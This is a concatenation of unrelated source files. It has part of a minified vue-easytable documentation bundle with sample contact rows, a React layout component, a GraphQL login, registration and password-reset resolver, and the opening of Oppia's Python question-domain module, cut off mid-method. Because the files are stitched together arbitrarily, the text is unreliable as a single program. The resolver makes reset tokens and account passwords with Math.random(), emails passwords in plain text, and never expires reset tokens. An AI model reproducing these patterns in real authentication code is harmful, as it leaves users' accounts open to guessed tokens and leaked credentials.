{"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"吴伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"gender"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"男"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"height"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"160"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"email"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"[email protected]"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"183*****6678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市松江区乐都西路867-871号"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"冯伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"gender"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"女"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"height"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"168"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"email"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"[email protected]"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"133*****3793"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市金山区龙胜路143号一层"')]),s._v("}\n ],\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columns")]),s._v(": [\n {\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'custome'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("50")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(",\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("formatter")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-function"}},[a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("function")]),s._v(" ("),a("span",{pre:!0,attrs:{class:"hljs-params"}},[s._v("rowData, index")]),s._v(") ")]),s._v("{\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("return")]),s._v(" index < "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("3")]),s._v(" ? "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'<span style=\"color:red;font-weight: bold;\">'")]),s._v(" + (index + "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("1")]),s._v(") + "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'</span>'")]),s._v(" : index + "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("1")]),s._v("\n }, "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isFrozen")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("\n },\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'name'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("100")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isFrozen")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'gender'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("150")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isFrozen")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'height'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("150")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isFrozen")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'tel'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("150")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'email'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("200")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'hobby'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("200")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'address'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("330")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'left'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("}\n ],\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleRows")]),s._v(": [\n [{"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'custome'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'排序'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("rowspan")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("2")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'name'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'gender'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'height'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'基础信息'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("colspan")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("3")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'tel'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'email'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'联系方式'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("colspan")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("2")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'hobby'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'address'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'爱好及地址'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("rowspan")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("2")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("colspan")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("2")]),s._v("}],\n\n [{"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'name'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'姓名'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'gender'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'性别'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("orderBy")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'asc'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'height'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'身高'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("orderBy")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'desc'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'tel'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'手机号码'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'email'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'邮箱'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v("}],\n\n [{"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'custome'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'name'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'gender'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'height'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'平均值'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("colspan")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("4")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleCellClassName")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'title-cell-class-name-test1'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'tel'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'000'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleCellClassName")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'title-cell-class-name-test2'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'email'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'111'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleCellClassName")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'title-cell-class-name-test2'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'hobby'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'222'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleCellClassName")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'title-cell-class-name-test2'")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("fields")]),s._v(": ["),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'address'")]),s._v("], "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'333'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleCellClassName")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'title-cell-class-name-test2'")]),s._v("}]\n ],\n }\n }\n }\n")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("script")]),s._v(">")]),s._v("\n")])])])])],1)},staticRenderFns:[]},module.exports.render._withStripped=!0},rWtG:function(module,exports,s){exports=module.exports=s("FZ+f")(!1),exports.push([module.i,"\n.title-cell-class-name-test1 {\n background-color: #2db7f5;\n}\n.title-cell-class-name-test2 {\n background-color: #f60;\n}\n",""])},v3dM:function(module,exports,s){function t(t){a||s("POyf")}var a=!1,r=s("VU/8")(s("+kAu"),s("pC98"),t,null,null);r.options.__file="C:\\Users\\HP\\Desktop\\vue-easytable\\examples\\doc\\table\\horizontal-resize\\complex-table-resize.md",r.esModule&&Object.keys(r.esModule).some(function(s){return"default"!==s&&"__"!==s.substr(0,2)})&&console.error("named exports are not supported in *.vue files."),r.options.functional&&console.error("[vue-loader] complex-table-resize.md: functional components are not supported with templates, they should use render functions."),module.exports=r.exports},w1mv:function(module,exports,s){"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default={data:function(){return{tableData:[{name:"赵伟",tel:"156*****1987",hobby:"钢琴、书法、唱歌",address:"上海市黄浦区金陵东路569号17楼"},{name:"李伟",tel:"182*****1538",hobby:"钢琴、书法、唱歌",address:"上海市奉贤区南桥镇立新路12号2楼"},{name:"孙伟",tel:"161*****0097",hobby:"钢琴、书法、唱歌",address:"上海市崇明县城桥镇八一路739号"},{name:"周伟",tel:"197*****1123",hobby:"钢琴、书法、唱歌",address:"上海市青浦区青浦镇章浜路24号"},{name:"吴伟",tel:"183*****6678",hobby:"钢琴、书法、唱歌",address:"上海市松江区乐都西路867-871号"}],columns:[{field:"name",title:"姓名",width:80,titleAlign:"center",columnAlign:"center",isResize:!0},{field:"tel",title:"手机号码",width:80,titleAlign:"center",columnAlign:"center",isResize:!0},{field:"hobby",title:"爱好",width:80,titleAlign:"center",columnAlign:"center",isResize:!0},{field:"address",title:"地址",width:160,titleAlign:"center",columnAlign:"center",isResize:!0}]}}}}});
import { Nav } from "../components/Nav"; import { Footer } from "../components/Footer"; export const GlobalWrapper = ({ children }) => { return ( <> <div style={{ display: "flex", minHeight: "100vh", flexDirection: "column", }} > <Nav /> <main style={{ flex: 1 }}>{children}</main> <Footer /> </div> </> ); };
import jwt from "jsonwebtoken"; import bcrypt from "bcryptjs"; import { parseErrors, makeUrl } from "../../shared/util"; import { requiresAdmin } from "../utils/permissions"; import SendMail from "../utils/mail"; import { getEmailBody } from "../utils/common"; export default { Query: { author: (root, args, { models }) => models.Author.findOne({ where: args }), authors: (root, args, { models }) => models.Author.findAll({ where: args }), me: (req, args, { user, models }) => models.Author.findOne({ where: { id: user.id } }), }, Mutation: { login: async (root, { email, password, remember }, { SECRET, models }) => { const author = await models.Author.findOne({ where: { email } }); if (!author) { return { ok: false, token: "", errors: [ { path: "Login", message: "We couldnt find this email.", }, ], }; } const valid = await bcrypt.compare(password, author.password); if (!valid) { return { ok: false, token: "", errors: [ { path: "Login", message: "We couldn't authenticate your credentials", }, ], }; } let role = await models.Role.findOne({ where: { id: author.roleId }, }); const perms = await role.getPermissions(); const permissionNames = perms.map(perm => perm.name); //test const expiresIn = remember ? "30d" : "1d"; const token = jwt.sign( { email, id: author.id, role: role.name, permissions: permissionNames, name: author.fname, expiresIn, }, SECRET, { expiresIn }, ); return { ok: true, token, errors: [], }; }, register: async (root, args, { models }) => { const author = { ...args }; try { const user = await models.Author.findOne({ attributes: ["email"], where: { email: author.email }, }); if (user) { throw new Error("Email already exist"); } author.password = await bcrypt.hash(author.password, 12); author.roleId = 1; const res = models.Author.create(author); return { ok: true, data: res, errors: [], }; } catch (e) { return { ok: false, data: null, errors: [{ message: e.message, path: "Register" }], }; } }, updateAuthor: requiresAdmin.createResolver( async (root, args, { models }) => { try { const newArgs = { ...args }; if (args.password) { newArgs.password = await bcrypt.hash(args.password, 12); } await models.Author.update(newArgs, { where: { id: newArgs.id }, }); return { ok: true, errors: [], }; } catch (e) { return { ok: false, errors: parseErrors(e), }; } }, ), createAuthor: requiresAdmin.createResolver( async (root, args, { models }) => { try { const newArgs = { ...args }; const author = await models.Author.findOne({ where: { email: newArgs.email }, }); if (author) { return { ok: false, errors: [ { message: "Email already exist", path: "createAuthor", }, ], }; } const randomPassword = Math.random() .toString(36) .substr(2); newArgs.password = await bcrypt.hash(randomPassword, 12); await models.Author.create(newArgs, { where: { id: newArgs.id }, }); const role = await models.Role.findOne({ where: { id: newArgs.roleId }, }); const variables = { name: newArgs.fname, email: newArgs.email, password: randomPassword, rolename: role.name, }; const body = await getEmailBody("register", variables, models); try { const success = await SendMail({ to: newArgs.email, subject: "Account Created", body, }); } catch (e) {} return { ok: true, errors: [], }; } catch (e) { return { ok: false, errors: parseErrors(e), }; } }, ), forgotPassword: async (root, args, { models }) => { try { const email = args.email; const token = Math.random() .toString(36) .substr(2); const author = await models.Author.findOne({ where: { email }, }); if (!author) { throw new Error("Email does not exist"); } await models.Author.update({ token }, { where: { id: author.id } }); const link = makeUrl(["/admin/reset-password", token]); const role = await models.Role.findOne({ where: { id: author.roleId }, }); const variables = { name: author.fname, email: args.email, link, }; const body = await getEmailBody("password_reset", variables, models); const success = await SendMail({ to: email, subject: "Password Reset", body, }); return { ok: true, msg: "Check your email to recover your password", }; } catch (e) { return { ok: false, msg: "Something unexpected happened", }; } }, resetPassword: async (root, args, { models }) => { try { const token = args.token; const password = await bcrypt.hash(args.password, 12); const author = await models.Author.findOne({ where: { token }, }); if (!author) { throw new Error("Invalid token for changing password"); } await models.Author.update( { token: "", password }, { where: { id: author.id } }, ); return { ok: true, msg: "Password changed successfully", }; } catch (e) { return { ok: false, msg: e.message, }; } }, }, Author: { role: author => author.getRole(), }, };
# coding: utf-8 # # Copyright 2017 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Domain objects relating to questions.""" from __future__ import absolute_import # pylint: disable=import-only-modules from __future__ import unicode_literals # pylint: disable=import-only-modules import datetime from constants import constants from core.domain import change_domain from core.domain import html_cleaner from core.domain import interaction_registry from core.domain import state_domain from core.platform import models import feconf import python_utils import utils (question_models,) = models.Registry.import_models([models.NAMES.question]) # Do not modify the values of these constants. This is to preserve backwards # compatibility with previous change dicts. QUESTION_PROPERTY_LANGUAGE_CODE = 'language_code' QUESTION_PROPERTY_QUESTION_STATE_DATA = 'question_state_data' QUESTION_PROPERTY_LINKED_SKILL_IDS = 'linked_skill_ids' # This takes additional 'property_name' and 'new_value' parameters and, # optionally, 'old_value'. CMD_UPDATE_QUESTION_PROPERTY = 'update_question_property' CMD_CREATE_NEW_FULLY_SPECIFIED_QUESTION = 'create_new_fully_specified_question' CMD_MIGRATE_STATE_SCHEMA_TO_LATEST_VERSION = ( 'migrate_state_schema_to_latest_version') # The following commands are deprecated, as these functionalities will be # handled by a QuestionSkillLink class in the future. CMD_ADD_QUESTION_SKILL = 'add_question_skill' CMD_REMOVE_QUESTION_SKILL = 'remove_question_skill' CMD_CREATE_NEW = 'create_new' class QuestionChange(change_domain.BaseChange): """Domain object for changes made to question object. The allowed commands, together with the attributes: - 'create_new' - 'update question property' (with property_name, new_value and old_value) - 'create_new_fully_specified_question' (with question_dict, skill_id) - 'migrate_state_schema_to_latest_version' (with from_version and to_version) """ # The allowed list of question properties which can be used in # update_question_property command. QUESTION_PROPERTIES = ( QUESTION_PROPERTY_QUESTION_STATE_DATA, QUESTION_PROPERTY_LANGUAGE_CODE, QUESTION_PROPERTY_LINKED_SKILL_IDS) ALLOWED_COMMANDS = [{ 'name': CMD_CREATE_NEW, 'required_attribute_names': [], 'optional_attribute_names': [] }, { 'name': CMD_UPDATE_QUESTION_PROPERTY, 'required_attribute_names': ['property_name', 'new_value', 'old_value'], 'optional_attribute_names': [], 'allowed_values': {'property_name': QUESTION_PROPERTIES} }, { 'name': CMD_CREATE_NEW_FULLY_SPECIFIED_QUESTION, 'required_attribute_names': ['question_dict', 'skill_id'], 'optional_attribute_names': ['topic_name'] }, { 'name': CMD_MIGRATE_STATE_SCHEMA_TO_LATEST_VERSION, 'required_attribute_names': ['from_version', 'to_version'], 'optional_attribute_names': [] }] class Question(python_utils.OBJECT): """Domain object for a question.""" def __init__( self, question_id, question_state_data, question_state_data_schema_version, language_code, version, linked_skill_ids, created_on=None, last_updated=None): """Constructs a Question domain object. Args: question_id: str. The unique ID of the question. question_state_data: State. An object representing the question state data. question_state_data_schema_version: int. The schema version of the question states (equivalent to the states schema version of explorations). language_code: str. The ISO 639-1 code for the language this question is written in. version: int. The version of the question. linked_skill_ids: list(str). Skill ids linked to the question. Note: Do not update this field manually. created_on: datetime.datetime. Date and time when the question was created. last_updated: datetime.datetime. Date and time when the question was last updated. """ self.id = question_id self.question_state_data = question_state_data self.language_code = language_code self.question_state_data_schema_version = ( question_state_data_schema_version) self.version = version self.linked_skill_ids = linked_skill_ids self.created_on = created_on self.last_updated = last_updated def to_dict(self): """Returns a 